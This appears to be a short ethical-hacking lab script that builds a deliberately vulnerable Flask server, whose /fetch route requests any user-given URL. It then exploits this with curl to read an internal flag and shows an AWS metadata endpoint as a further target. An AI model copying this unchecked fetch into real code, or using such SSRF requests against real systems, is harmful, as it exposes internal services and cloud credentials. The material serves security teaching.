EH-13: SSRF Basic - Server-Side Request Forgery

cd ~ && mkdir -p eth-l13 && cd eth-l13
cat > server.py << 'PYEOF'
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/fetch')
def fetch():
    url = request.args.get('url','')
    r = requests.get(url, timeout=3)
    return r.text
@app.route('/internal/flag')
def flag():
    return "FLAG{SSRF_Success}"
app.run(port=9011)
PYEOF
python3 server.py &
sleep 1
echo "=== 1. SSRF → localhost ==*"
curl -s "http://localhost:9011/fetch?url=http://127.0.0.1:9011/internal/flag"
echo ""
echo "=== 2. SSRF → metadata (concept) ==*"
echo "curl http://169.254.169.254/latest/meta-data/  ← AWS metadata!"
kill %1 2>/dev/null